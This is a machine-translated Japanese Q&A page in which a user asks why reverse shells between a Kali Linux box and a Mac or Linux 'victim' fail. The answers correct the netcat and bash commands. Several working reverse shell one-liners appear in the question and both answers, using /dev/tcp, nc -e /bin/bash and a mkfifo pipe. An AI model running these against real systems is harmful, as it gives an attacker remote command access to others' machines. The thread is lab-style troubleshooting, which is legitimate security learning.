web-dev-qa-db-ja.com

リバースシェルが接続を確立することを拒否/困難

私は異なるデバイス間でシェルを逆転させようとしましたが、

接続を確立したり、シェルプロンプトを表示したりできない

私がMac OSXを犠牲にしていて、Raspberry Pi Kali Linuxインストールを使用しているとしましょう。その場合、次のようにします。

Linuxデバイス:nc -nlvp 5555 -e /bin/bash
OSXデバイス:bash -i >& /dev/tcp/IPaddressOfLinuxDevice/5555 0>&1

また、次の2つのLinuxデバイス間で試してみました。
攻撃者:nc -nlvp 5555
被害者:nc -nv IPaddressOfVictim 5555 -e /bin/bash

そして私はシェルを手に入れることができませんでしたか?私は何を正しく行っていませんか?事前に読んで助けてくれてありがとう。

1
NowsyMe

各例の2つのマシン間のネットワーク設定は何ですか?それらの間でICMPなどの他のトラフィックを送信できますか?その場合、干渉する可能性のあるいずれかのデバイスにファイアウォールルールが構成されていますか?ネットワーク設定が正しいと確信している場合は、以下の各例についていくつかコメントを残しました。

最初の例の問題は、ncで-eフラグを使用しようとしたことが原因だと思います。あなたの攻撃マシンはLinuxデバイスであり、OSXマシンは犠牲者であると述べました。その場合は、Linux ncリスナーで-eフラグを使用する必要はありません。そうすると、ncによって開かれたポートでLinuxマシンに接続したときに、Linuxマシンからシェルが生成されます。それが攻撃ボックスだからです。

あなたが実際にやりたいことは次のようなものだと思います:

Linuxボックス:nc -nlvp 5555

OSXの被害者:rm/tmp/f; mkfifo/tmp/f; cat/tmp/f |/bin/sh -i 2>&1 | nc $ IP_OF_ATTACKING_BOX 5555>/tmp/f

攻撃ボックスのncリスナーで、シェルが開いていることを確認します。 OSXのncバージョンがBSDバージョンであり、-eフラグをサポートしないため、リバースシェルの作成方法が異なります。私はここから構文を取得しました: http://pentestmonkey.net/cheat-sheet/shells/reverse-Shell-cheat-sheet

2番目の例の構文は私には正しいようです。 編集:@waymobettaが正しく指摘しているように、2番目のncコマンドで被害者のIPアドレスを使用したくない。攻撃マシンのIPアドレスを使用する必要があります。これは、接続先にしたいものです。ただし、それでも問題が解決しない場合は、以下の残りの提案を確認してください。

ここでのネットワーク設定は前の例とは異なりますか? ncを使用して一方のポートを開き、(シェルなしで)もう一方を使用してポートに接続できますか?たとえば、次の場合:

マシン1:nc -nlvp 1234

マシン2:nc $ IP_OF_MACHINE_1 1234

端末にMachine 2のテキストを入力してEnterキーを押します。Machine1のリスニングウィンドウにテキストが表示されますか?また、そのウィンドウに接続試行に関する出力が表示されます。それが機能しない場合、問題はマシンがまったく正しく通信できないことに起因している可能性があります。

1
JosiahPierce

firstシナリオ:

_Linux device: nc -nlvp 5555 -e /bin/bash OSX device: bash -i >& /dev/tcp/IPaddressOfLinuxDevice/5555 0>&1_

Linuxデバイス(攻撃者)として_-e /bin/bash_をOSXデバイスに渡す必要はありません。攻撃者はおそらくシェルを被害者に与えていないでしょう。それがあなたが探しているシナリオだとは思いません。 ..

修正:上記のコマンド(_-e /bin/bash_なしで使用した場合)は、リバースシェルを作成し、Linuxボックスに接続して、LinuxボックスがOSXデバイスとしてbashコマンドを実行できるようにします。あなたが探していると私が信じるもの。

_-e_をサポートしていないncの新しいバージョンを使用していますが、お客様のご要望に沿うことができます。

これを試して:

Attacker (Linux): nc -nvlp 5555 Victim (OSX): bash -i >& /dev/tcp/ip_of_attacker/5555 0>&1

上記は、被害者のシェルをリスニング攻撃者に送信します。


secondシナリオについては、あなたも超近いです!

の代わりに..

_attacker: nc -nlvp 5555 victim: nc -nv IPaddressOfVictim 5555 -e /bin/bash_

試して.

_attacker: nc -nlvp 5555 victim: nc -nv ip_of_attacker 5555 -e /bin/bash_

上記のコマンドは、犠牲者のシェルを送信しますto指定されたポート(5555)で待機している攻撃者のマシンにより、攻撃者(Linuxボックス)がOSXデバイスでコマンドを実行できるようになります。

0
waymobetta